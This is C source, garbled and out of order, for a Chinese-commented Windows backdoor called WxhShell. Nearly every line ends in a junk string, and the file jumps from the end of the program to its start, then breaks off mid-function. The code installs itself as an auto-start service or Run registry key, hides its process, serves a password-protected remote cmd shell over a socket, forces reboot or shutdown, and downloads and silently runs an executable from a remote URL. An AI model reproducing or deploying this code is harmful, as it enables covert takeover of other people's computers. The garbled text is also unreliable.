    if(Boot(SHUTDOWN)) ^yl}/OD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%jX=S.5h<  
    else { ;K>'Gl  
    closesocket(wsh); 9* 3;v;F  
    ExitThread(0); -~JYfj@  
    } c V MRSp  
    break; HrZX~JnTmf  
    } :|ah u  
  // 获取shell 6XCFL-o-  
  case 's': { T+RC#&>  
    CmdShell(wsh); hW!n"qU  
    closesocket(wsh); a @3s71  
    ExitThread(0); 4bw4!z9G  
    break; 5wAKA`p"z  
  } ! N!pvK;  
  // 退出 r: >RH,  
  case 'x': { mqsAYzG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^[bFGKE  
    CloseIt(wsh); -O1$jBQ S  
    break; ]n"RPktx  
    } "LkBN0D  
  // 离开 b+arnKo1fk  
  case 'q': { :/$_eg0A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <ty]z!B  
    closesocket(wsh); L[nDjQn"  
    WSACleanup(); {' 0#<Z  
    exit(1); ?VRsgV'$  
    break; ]2|fc5G'  
        } 4e|N^h*!  
  } {SXSQ'=  
  } ^\`a-l^  
,G="wI  
  // 提示信息 [.Fq l+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iV#A-9  
} i0+e3!QU  
  } :qB|~"9O  
.Oc j|A6  
  return; 7hPwa3D^  
} E6O!e<ze^  
@K*W3&TO  
// shell模块句柄 3< 6h~ek )  
int CmdShell(SOCKET sock) (jyufHm  
{ P?|\Ig1Gk  
STARTUPINFO si; nsVLgTbx  
ZeroMemory(&si,sizeof(si)); 1(>2tEjYT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GRofOJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {dRZ2U3  
PROCESS_INFORMATION ProcessInfo; EN/t5d  
char cmdline[]="cmd"; {=Jo!t;f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); < Mu`,Kv*  
  return 0; -}!mi V  
} A:Gd F-;[  
)wD/<7;  
// 自身启动模式 +U_1B%e(%  
int StartFromService(void) /2/aMF(J  
{ W1)<!nwA  
typedef struct .o C! ~'  
{ ZS]Z0iZv9  
  DWORD ExitStatus; I''n1v?N  
  DWORD PebBaseAddress; }KIS_krs  
  DWORD AffinityMask; ]sVWQj  
  DWORD BasePriority; >D~8iuy]8.  
  ULONG UniqueProcessId; [ @"6:tTU  
  ULONG InheritedFromUniqueProcessId; L'aB/5_%  
}   PROCESS_BASIC_INFORMATION; vbtZ5Gm  
5%fWX'mS  
PROCNTQSIP NtQueryInformationProcess; Qf ~$9?z  
n@;B_Bt7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =GF=_Ac  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G![4K#~NM  
~re}6-?  
  HANDLE             hProcess; >ZG$8y 'j  
  PROCESS_BASIC_INFORMATION pbi; G?XA",AC  
3Os0<1@H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NqOX);'L0  
  if(NULL == hInst ) return 0; } -;)G~h/"  
]Z6? m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /w5*R5B{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p0zC(v0*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BQg3+w:>  
c6c@ Xd V  
  if (!NtQueryInformationProcess) return 0; Gs3V]qbEP  
$)o0{HsL+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JJbd h \  
  if(!hProcess) return 0; 2YW;=n  
KZZY9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jkbeh.  
ku]?"{Xx  
  CloseHandle(hProcess); `\\s%}vZ*T  
?0* [ L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L;j++^p  
if(hProcess==NULL) return 0; ?(d1;/0v>  
Fc\]*  
HMODULE hMod; U 887@-!3  
char procName[255]; E JuTv%Y8  
unsigned long cbNeeded; {CBb^BP  
Mkk.8AjC|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "H`Be  
$,, PF/N8c  
  CloseHandle(hProcess); a%b E}  
5~IdWwG*w  
if(strstr(procName,"services")) return 1; // 以服务启动 u|Mx}  
z rSPa\M  
  return 0; // 注册表启动 w@cW`PlF  
} [ fzYC'A=  
Bz-jy.  
// 主模块 -q{N1? tcy  
int StartWxhshell(LPSTR lpCmdLine) !f52JQyh  
{ ug2W{D  
  SOCKET wsl; N\|z{vn  
BOOL val=TRUE; OQ?N_zs,  
  int port=0; &U|c=$!\  
  struct sockaddr_in door; 9+N%Io?!  
`}=R  
  if(wscfg.ws_autoins) Install(); ?%Nh4+3N>  
ztSQrDbbb4  
port=atoi(lpCmdLine); lm;hW&O9  
-X$EE$:  
if(port<=0) port=wscfg.ws_port; TK\3mrEI  
x$BNFb%I1  
  WSADATA data; r\ft{Z<P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;;+AdN5  
1r$-Uh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KU` *LB:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }5oI` 9VT  
  door.sin_family = AF_INET; 6 V0Ayxg7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Iz)Mu  
  door.sin_port = htons(port); {E Ay~lo  
Muk J^h*V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uWdF7|PN7  
closesocket(wsl); 04|ZwX$>+  
return 1; <.4(#Ebd  
} Bgc]t  
<F0^+Pf/  
  if(listen(wsl,2) == INVALID_SOCKET) { Vl5>o$G|<.  
closesocket(wsl); 70R6:  
return 1; =+j3E<w  
} ;HXk'xN  
  Wxhshell(wsl); 0!dNW,NfJ  
  WSACleanup(); o6O-\d7^M  
k"i3$^v8  
return 0; \vT~2Y(K  
z&d.YO_W  
} iVZ}+Ct<"  
aHW34e@ebL  
// 以NT服务方式启动 \~,\|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *%KIq/V  
{ 96V8R<   
DWORD   status = 0; u)r/#fUZ  
  DWORD   specificError = 0xfffffff; zG ='U  
lF}@@e)N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @L!^2v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `~u=[}w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cHFW"g78  
  serviceStatus.dwWin32ExitCode     = 0; LsERcjwwK  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ l]!'"  
  serviceStatus.dwCheckPoint       = 0; ! s =$UC  
  serviceStatus.dwWaitHint       = 0; gE\ ^ vaB  
'1b 1N5~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jC>ZMy8U)4  
  if (hServiceStatusHandle==0) return; K& ^qn&  
lUEbxN  
status = GetLastError(); Nz`8)Le  
  if (status!=NO_ERROR) "crR{OjE"  
{ T/P\j0hR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q\o#<'F1J  
    serviceStatus.dwCheckPoint       = 0; /OztkThx=  
    serviceStatus.dwWaitHint       = 0; iiq `:G  
    serviceStatus.dwWin32ExitCode     = status; :wIA.1bK}  
    serviceStatus.dwServiceSpecificExitCode = specificError; MZh.Xo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V[/9?5pM  
    return; 06.%9R{  
  } N+c|0  
q%;cu1^"M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qK%N{ro[{?  
  serviceStatus.dwCheckPoint       = 0; xQvI$vP  
  serviceStatus.dwWaitHint       = 0; _j , Tc*T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "H(3pl.  
} ESV./~K  
Pt5wm\  
// 处理NT服务事件,比如:启动、停止 x/<]/D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /r~2KZE  
{ <pb  
switch(fdwControl) _D4qnb@  
{ pE<a:2J  
case SERVICE_CONTROL_STOP: tB>!1}v  
  serviceStatus.dwWin32ExitCode = 0; z]8Mv(eL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s|<n7 =J  
  serviceStatus.dwCheckPoint   = 0; Q;3`T7  
  serviceStatus.dwWaitHint     = 0; fW2NYQP$:  
  { > "F-1{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]gPx%c  
  } -&2Z/qM&!  
  return; #1J ,!seJ  
case SERVICE_CONTROL_PAUSE: wL),/i&<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X2A k  
  break; Fw&ImRMk  
case SERVICE_CONTROL_CONTINUE: PdO"e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qA7,txQ:  
  break; L%v@|COQ3  
case SERVICE_CONTROL_INTERROGATE: ]j7`3%4uK  
  break; qLL rR,:  
};  <Y"RsW9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(`|-E"E;  
} t!rrYBSCr  
-r cEG!  
// 标准应用程序主函数 E6~VHQa2?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }~@/r5Zl  
{ [ft6xI  
akbB=:M,x  
// 获取操作系统版本 2K>1,[C'Z  
OsIsNt=GetOsVer(); n`Pl:L*kG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q.B)?wm  
1r> ]XhRFZ  
  // 从命令行安装 q#AEu xI1  
  if(strpbrk(lpCmdLine,"iI")) Install(); J8Wits]A]$  
"7%jv[  
  // 下载执行文件 BT [|f[1  
if(wscfg.ws_downexe) { f u\j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m@+v6&,  
  WinExec(wscfg.ws_filenam,SW_HIDE); =p.avAuSn  
} FA-cTF[,(  
bQ3<>e\%B  
if(!OsIsNt) { c+3(|k-M  
// 如果时win9x,隐藏进程并且设置为注册表启动 87!jn'A  
HideProc(); dnD@BQ  
StartWxhshell(lpCmdLine); >|%3j,<U  
} [6l0|Y  
else F;#$Q  
  if(StartFromService()) Y }VJ4!%U  
  // 以服务方式启动 }'wZ)N@  
  StartServiceCtrlDispatcher(DispatchTable); $BehU  
else Fvk=6$d2  
  // 普通方式启动 %|H]T] s  
  StartWxhshell(lpCmdLine); O MQ?*^eA  
)=GPhC/sw  
return 0; Ich^*z(F$  
} @* vVc`;  
M2cGr  
Ti)Me-g  
5?H8?~&dz  
=========================================== z# &1>  
9cB+ x`+Lu  
P.Bwfa  
| I:@:  
!%65YTxY-  
LI.WcI3uS  
" <Mvni z  
k^ZP~.G  
#include <stdio.h> W6>t!1oO+  
#include <string.h> Ci-Ze j  
#include <windows.h> FLG"c690  
#include <winsock2.h> BJ5MCb.w  
#include <winsvc.h> $`GlXiV  
#include <urlmon.h> *CXc{{  
LGuZp?"  
#pragma comment (lib, "Ws2_32.lib") }h Wv  p  
#pragma comment (lib, "urlmon.lib") &u&WP  
cy@R i#  
#define MAX_USER   100 // 最大客户端连接数 -B-G$ii  
#define BUF_SOCK   200 // sock buffer rtAPkXJFM  
#define KEY_BUFF   255 // 输入 buffer >(P(!^[f  
lv/im/]v  
#define REBOOT     0   // 重启 l9uocP:D  
#define SHUTDOWN   1   // 关机 3 orZBT  
I]d-WTd  
#define DEF_PORT   5000 // 监听端口 w.58=Pr  
99*k&mb  
#define REG_LEN     16   // 注册表键长度 j|pTbOgk%  
#define SVC_LEN     80   // NT服务名长度 TO G4=y-N  
?`e@ o?  
// 从dll定义API GFLat  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =$4I}2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >z%YKdq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }I uqB*g[t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }&/>v' G  
nxhlTf>3  
// wxhshell配置信息 :y7K3:d3  
struct WSCFG { P9 HKev?y  
  int ws_port;         // 监听端口 M7?ktK9`ma  
  char ws_passstr[REG_LEN]; // 口令 {E%c%zzQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no I H=$ w c  
  char ws_regname[REG_LEN]; // 注册表键名 XcT!4xG0  
  char ws_svcname[REG_LEN]; // 服务名 DqWy@7 a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C~4SPCU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'd Be,@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ^cw9Yjh6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v|~=rvXFC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T1$p%yQH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (" :Dz_  
`Gv\"|Gn  
}; N9|J\;fzT  
.?s jr4   
// default Wxhshell configuration o@gceZuk  
struct WSCFG wscfg={DEF_PORT, #pPOQv:~  
    "xuhuanlingzhe", .*YF{!R`h  
    1, )B $Q  
    "Wxhshell", QWa@?BO2p  
    "Wxhshell", W8bp3JX"  
            "WxhShell Service", F8<G9#%s\  
    "Wrsky Windows CmdShell Service", ByP<-Deh  
    "Please Input Your Password: ", tf7HhOCYX  
  1, Gn4b*Y&M]3  
  "http://www.wrsky.com/wxhshell.exe", py7Zh%k  
  "Wxhshell.exe" D"aK;_W@h  
    }; Htr]_<@  
s9"X.-!  
// 消息定义模块 .gfi9J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZqrS]i@$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] / Nt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :(ql=+vDb4  
char *msg_ws_ext="\n\rExit."; D$4GNeB+#  
char *msg_ws_end="\n\rQuit."; 'z,kxra|n  
char *msg_ws_boot="\n\rReboot..."; \5&Mg81  
char *msg_ws_poff="\n\rShutdown..."; R98YGW_ dT  
char *msg_ws_down="\n\rSave to "; ^@8XJ[C,_  
`},:dDHI  
char *msg_ws_err="\n\rErr!"; :k ?`gm$  
char *msg_ws_ok="\n\rOK!"; ;/kd.Q  
B|a<=~  
char ExeFile[MAX_PATH]; \Y"S4<"R  
int nUser = 0; 0 cKsGDm  
HANDLE handles[MAX_USER]; 2;T?ry7  
int OsIsNt; WqefH{PB  
+o4o!;E)  
SERVICE_STATUS       serviceStatus; Wjq9f;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]Xa]a}[uE  
LE{@J0r#n  
// 函数声明 Sak^J.~G[  
int Install(void); ;6R9k]5P%  
int Uninstall(void); kJ"rRsK  
int DownloadFile(char *sURL, SOCKET wsh); kwUUvF7w  
int Boot(int flag); 9Br+]F _i  
void HideProc(void); g7?[}?]3"p  
int GetOsVer(void); 8K 9HFT@yV  
int Wxhshell(SOCKET wsl); w^8Q~ 3|7  
void TalkWithClient(void *cs); |sr\SCx  
int CmdShell(SOCKET sock); 9^g8VlQdT  
int StartFromService(void); sx azl]  
int StartWxhshell(LPSTR lpCmdLine); &Qda|  
N LpKh1g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SaGI4O_\s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); } 'xGip@W  
$/ "+t.ir3  
// 数据结构和表定义 (BtU\f#d  
SERVICE_TABLE_ENTRY DispatchTable[] = eCKm4l'BZ  
{ Eh;Ia6}  
{wscfg.ws_svcname, NTServiceMain}, TJRp/BP  
{NULL, NULL} R5QW4i9  
}; 5P #._Em  
`:Wyw<^  
// 自我安装 =%I[o=6  
int Install(void) `f}ZAX  
{ "JmbYb#Z  
  char svExeFile[MAX_PATH]; yxx_%9X  
  HKEY key; 4w%hvJ  
  strcpy(svExeFile,ExeFile); Bn 8&~  
!lzj.|7=1  
// 如果是win9x系统,修改注册表设为自启动 ynra%"sd  
if(!OsIsNt) { "UD)3_R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0y<9JvN$9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Oj b~  
  RegCloseKey(key); ,9 ^ 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [wSoZBl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wT+60X'  
  RegCloseKey(key); YhglL!p C  
  return 0; l2W+VBn6  
    } }` `oojz  
  } PT,*KYF_O"  
} ,e$RvFB  
else { < hy!B4  
8bMw.u=F  
// 如果是NT以上系统,安装为系统服务 m8L %!6o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \4$Nx/@Q}  
if (schSCManager!=0) ?~.9: 93  
{ E l.eK9L  
  SC_HANDLE schService = CreateService dk]  
  ( (:~_#BA  
  schSCManager, pvt/{  
  wscfg.ws_svcname, #q34>}O< O  
  wscfg.ws_svcdisp, 6 T~+vT  
  SERVICE_ALL_ACCESS, Kg2@]J9m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vt zSM%=  
  SERVICE_AUTO_START, %O%;\t  
  SERVICE_ERROR_NORMAL, n3J,`1*ct  
  svExeFile, lbIW1z%:sy  
  NULL, {DvWa|  
  NULL, :.H@tBi*E  
  NULL, _`QMEr?  
  NULL, ~qb?#IY]`  
  NULL D.AiqO<z  
  ); wMF1HT<*  
  if (schService!=0) 2\$<&]q  
  { }1CO>a<  
  CloseServiceHandle(schService); `$ bQ8$+Ci  
  CloseServiceHandle(schSCManager); jc6~V$3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nC/T$ #G  
  strcat(svExeFile,wscfg.ws_svcname); \K9Y@jnr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { coaJDg+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rbm+V{EF&  
  RegCloseKey(key); ' )F@em  
  return 0; -,=)O  
    } Np9Pae'  
  } _mdJIa0D6k  
  CloseServiceHandle(schSCManager); jkuNafp}  
} )tV]h#4  
} $a\X(okx  
tvzO)&)$  
return 1; _jkJw2+s\  
} v/KTEM  
B7{j$0fm*  
// 自我卸载 ]6=opvm  
int Uninstall(void) +W>tdxOh  
{ V/OW=WCzN  
  HKEY key; ~U?vB((j!  
&n6 |L8  
if(!OsIsNt) { Z+J~moW `  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N9)ERW2`*  
  RegDeleteValue(key,wscfg.ws_regname); /$vX1T  
  RegCloseKey(key); QBoX3w=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @J@bD+Q+0  
  RegDeleteValue(key,wscfg.ws_regname); #lVSQZO~a  
  RegCloseKey(key); r Z5eXew6  
  return 0; d9 8pv%  
  } EjVB\6,  
} y;9K  
} NVC$8imip  
else { )[sSCt]  
#@5 jOi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CA"`7<,  
if (schSCManager!=0) n |,}   
{ 4P24ySy9F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B;{sr'CP  
  if (schService!=0) ^n]?!BdU  
  { 78b9Sdi&  
  if(DeleteService(schService)!=0) { =(k0^ #++G  
  CloseServiceHandle(schService); hU2 N{Ac  
  CloseServiceHandle(schSCManager); tK <)A)  
  return 0; @D<Q'7mLh  
  } kS7T'[d  
  CloseServiceHandle(schService); Y50$ 2%kM  
  } ~0.@1zEXj  
  CloseServiceHandle(schSCManager); YX2j;Y?  
} pk=z<OTb  
} M[T!AO-S$  
p:U{3uN 62  
return 1; 3^ &pb  
} 2gjA>ET`N  
483vFLnF  
// 从指定url下载文件 QaEXk5>e  
int DownloadFile(char *sURL, SOCKET wsh) KQqQ@D&n  
{ tX}Fb0y  
  HRESULT hr; L/cbq*L  
char seps[]= "/"; %^ E>~  
char *token; `[1]wV5(5@  
char *file; [ 06B)|s  
char myURL[MAX_PATH]; r?2C%GI`  
char myFILE[MAX_PATH]; X4*/h$48 w  
C[$<7Mi|;  
strcpy(myURL,sURL); 3 ?/}  
  token=strtok(myURL,seps); |y=D^NTG  
  while(token!=NULL) #$fFp  
  { *m]%eU(  
    file=token; Z=sAR(n}~  
  token=strtok(NULL,seps); EA>$t\z  
  } AB#hh i#  
~JT{!wcE}o  
GetCurrentDirectory(MAX_PATH,myFILE); eS Fmx  
strcat(myFILE, "\\"); [K9q+  
strcat(myFILE, file); I3aEg  
  send(wsh,myFILE,strlen(myFILE),0); +~/zCJ;F  
send(wsh,"...",3,0); \J\1i=a-=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CblL1q8  
  if(hr==S_OK) j({L6</x  
return 0; Ap>n4~  
else !! K=v7M  
return 1; q C|re!K  
cRfX  
}  y.eBFf  
h/w- &7t  
// 系统电源模块 Y2D) $  
int Boot(int flag) -s!PO;qm  
{ $fvUb_n  
  HANDLE hToken; cE]kI,Fw,M  
  TOKEN_PRIVILEGES tkp; FRF}V@~  
"Ii!)n,  
  if(OsIsNt) { F;NZJEy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mg;AcAS.o,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i\eykYc,  
    tkp.PrivilegeCount = 1; %yrP: fg/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O@Kr}8^,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ua3ERBX{  
if(flag==REBOOT) { BR%:`uiQ<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (c_hX(  
  return 0; ^ pR&  
} a:]yFi:Su  
else { LtvyWc`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) D`_V.,W  
  return 0; BZ T%+s;u9  
} wb9zJAsc  
  } }w@nZG ^&  
  else { Y\x Xo?  
if(flag==REBOOT) { <z4!m/f [(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zj)[Sn tn?  
  return 0; 6a!X`%N=  
} %?$"oWmenS  
else { ?d%}K76V<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7I  
  return 0; Mt:(w;Y  
} 0nuFWV  
} A| +{x4s`  
2gv(`NKYE  
return 1; &pAT  
} Ek BM>*W  
mnia>; 0H  
// win9x进程隐藏模块 J{ Vl2P?@  
void HideProc(void) #75;%a8  
{ \#}%E h b  
),Rj@52l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &_6:TqJ  
  if ( hKernel != NULL ) f<'C<xnf  
  { 3QVng^"B)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kgu+ q\?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lb('r"*.  
    FreeLibrary(hKernel); "869n37  
  } M@3H]t?  
hU{%x#8}lK  
return; EKf4f^<  
} k4P.}SJ?  
V+q RDQ  
// 获取操作系统版本 >4E,_`3N  
int GetOsVer(void) z,EOyi  
{ !]nCeo  
  OSVERSIONINFO winfo; cG'Wh@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ww~0k!8,t  
  GetVersionEx(&winfo); l9h;dI{6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =EJ"edw]%0  
  return 1; \4[Ta,;t  
  else tQ67XAb  
  return 0; CAA~VEUL  
} L5W>in5(  
$9~1s/('  
// 客户端句柄模块 @:@rks&  
int Wxhshell(SOCKET wsl) `4qKQJw  
{ yiq#p "Hs  
  SOCKET wsh; :KLD~k7yA(  
  struct sockaddr_in client; IY&a!  
  DWORD myID; ;z>YwRV  
on\\;V_/Q  
  while(nUser<MAX_USER) `<n:D`{dZ  
{ `dZ|}4[1  
  int nSize=sizeof(client); %r"GL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9vu8koL  
  if(wsh==INVALID_SOCKET) return 1; '3Ie0QO]"%  
s$_#T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5PPpX=\  
if(handles[nUser]==0) (Wqhuw!u  
  closesocket(wsh); (YOgQ)},  
else I .ty-X]  
  nUser++; z"#.o^5  
  } !)=o,sVA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,Mc 2dhq  
Mm!saKT%  
  return 0; 4o3GS8  
} P$Q&xN<#)  
~aG-^BAS  
// 关闭 socket (Nahtx!/9  
void CloseIt(SOCKET wsh) hd;I x%tq>  
{  |_ *$+  
closesocket(wsh); Kc0OLcu^d  
nUser--; vp@+wh]#  
ExitThread(0); =*Xf(mhc  
} M jTKM;  
Hi9z<l=$  
// 客户端请求句柄 9_3M}|V$^e  
void TalkWithClient(void *cs) z sPuLn9G  
{ )|x5#b-lz  
lijy?:__  
  SOCKET wsh=(SOCKET)cs; cG:`Zj~4  
  char pwd[SVC_LEN]; d ] ;pG(  
  char cmd[KEY_BUFF]; )[*O^bPowI  
char chr[1]; \irjIXtV  
int i,j; F948%?a  
{@Ac L:Eit  
  while (nUser < MAX_USER) { sBnPS[Oo  
beE%%C]X  
if(wscfg.ws_passstr) { K~-XDLh5Nu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZZ*k3Ce  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [B`P]}gL:  
  //ZeroMemory(pwd,KEY_BUFF); ;G]'}$`/q  
      i=0; #+0 R!Y  
  while(i<SVC_LEN) { >U Lp!  
KT71%?P  
  // 设置超时 bobkT|s^s  
  fd_set FdRead; I:<R@V<~#  
  struct timeval TimeOut; m=B0!Z1xx  
  FD_ZERO(&FdRead); CaBS0' n  
  FD_SET(wsh,&FdRead); %LHV0u  
  TimeOut.tv_sec=8; rbbuSI  
  TimeOut.tv_usec=0; [i7)E]*oTA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `F8;{`a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w.p'Dpw  
t8 "-zd8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I>Q,]S1h  
  pwd=chr[0]; VYo;[ue([  
  if(chr[0]==0xd || chr[0]==0xa) { dy?|Q33Y"  
  pwd=0; XH$|DeAFM  
  break; q&T'x> /  
  } ,&] ` b#Rc  
  i++; V JL;+  
    } W2h[NimU  
l$_rA~Mo  
  // 如果是非法用户,关闭 socket z&,sm5Lb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T l(uqY?9  
} |9]K:A  
Tpx,41(k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [)>8z8'f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mp3_n:R?  
x)ZH;)  
while(1) { RLNuH2y;  
.6o y>4  
  ZeroMemory(cmd,KEY_BUFF); hP8&n9o  
'<S:|$ $  
      // 自动支持客户端 telnet标准   C /XyDbH  
  j=0; _C=[bI@  
  while(j<KEY_BUFF) { ArzsZ<\//  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d ovwB`5  
  cmd[j]=chr[0]; ^l&4UnLlc  
  if(chr[0]==0xa || chr[0]==0xd) { ky$:C,1t  
  cmd[j]=0; _6zP] |VBr  
  break; J&65B./mD9  
  } wg0.i?R-]  
  j++; bI6wE'h  
    } <SdJM1%Qo  
.eB"la|d  
  // 下载文件 {eN{Zh5"  
  if(strstr(cmd,"http://")) { FKnQwX.0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]V^.!=gh$  
  if(DownloadFile(cmd,wsh)) l!V| T?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EiP&Y,vT  
  else 6@;L$QYY-V  
